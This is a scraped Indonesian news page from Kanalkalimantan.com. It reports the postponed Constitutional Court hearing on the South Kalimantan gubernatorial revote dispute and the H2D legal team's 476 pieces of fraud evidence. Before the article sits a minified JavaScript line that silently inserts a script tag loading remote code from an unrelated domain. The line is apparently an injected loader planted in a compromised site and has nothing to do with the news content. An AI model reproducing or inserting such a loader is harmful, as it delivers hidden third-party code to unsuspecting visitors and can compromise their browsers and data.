(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Sidang pemeriksaan pendahuluan Perselisihan Hasil Pemilihan Gubernur dan Wakil Gubernur Kalsel pasca Pemungutan Suara Ulang (PSU) telah diagendakan pada 5 Juli 2021 lalu. Namuan harus ditunda akibat melonjaknya kasus Covid-19 di Jakarta. Walhasil sengketa yang teregisterasi dengan Perkara Nomor 146/PHP.GUB-XIX/2021 tersebut ditunda sampai dengan waktu yang ditentukan kemudian.
Selama penundaan, Tim Hukum Haji Denny Difri (H2D), Paslon Nomor 2, terus mematangkan pokok-pokok permohonan yang akan disampaikan dihadapan Mahkamah. Sehingga dapat menggambarkan dengan detail dan efektif kecurangan-kecurangan yang terjadi dalam PSU Pilgub Kalsel.
Selain itu, terdapat tambahan alat bukti yang jumlahnya terus bertambah dan saat ini 476 bukti, terdiri dari video politik uang hampir 200 bukti, foto, rekaman suara, affidavit, handphone, bukti surat, dan dokumen lainnya.
“Bukti-bukti tersebut semakin menunjukkan bahwa pelanggaran yang terstruktur, sistematis, dan masif benar-benar terjadi secara kasat mata. Lebih dari itu, rangkaian tindakan yang tergambar dalam bukti-bukti H2D membuat semakin terang terkait adanya pelanggaran prinsip LUBER, JURDIL, dan Demokratis pada perhelatan PSU Pilgub Kalsel,” kata pengacara H2D, Bambang Widjojanto, dalam siaran pers yang dikirim ke Kanalkalimantan.com, Kamis (8/7/2021).
Baca juga: Kalsel Waspada! Pintu Masuk Dijaga Ketat, Wajib Tunjukkan Hasil PCR Covid-19 Negatif!
Paralel dalam melakukan berbagai persiapan menghadapi persidangan, Tim Hukum H2D berharap agar undangan sidang selanjutnya dapat dilakukan dalam waktu yang tidak lama lagi, sehingga proses pencarian keadilan dapat segera dilakukan.
Untuk diketahui, penyelesaian perselisihan hasil pemilihan kepada daerah bersifat cepat (speedy trial). Berdasarkan Pasal 52 Peraturan Mahkamah Konstitusi Nomor 6 Tahun 2020 tentang Tata Beracara Dalam Perkara Perselisihan Hasil Pemilihan Gubernur, Bupati, dan Walikota, sengketa pilkada harus diselesaikan dalam waktu paling lambat 45 (empat puluh lima) hari kerja sejak perkara dicatat dalam e-BRPK.
Khusus sengketa Pilgub Kalsel yang tercatat pada 21 Juni 2021, maka paling lambat pada 31 Agustus 2021 Mahkamah sudah harus menjatuhkan putusan.
Baca juga: Heboh Varian Baru Covid-19 Delta Masuk Banjarbaru, Ini Faktanya!
“Meskipun terdapat batas waktu yang semakin menyempit, Tim Hukum H2D yakin proses pelaksanaan sidang di Mahkamah Konstitusi akan berjalan efektif. Terbatasnya waktu yang tersedia tidak akan menjadi halangan untuk menggelar sidang secara komprehensif. Bahkan masih terbuka ruang untuk memberikan kesempatan seluas-luasnya bagi para pihak menghadirkan saksi-saksi dan ahli guna menggali serta menemukan keadilan materil yang sebenar-benarnya,” pungkasnya. (kanalkalimantan.com/kk)
Editor: cell
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.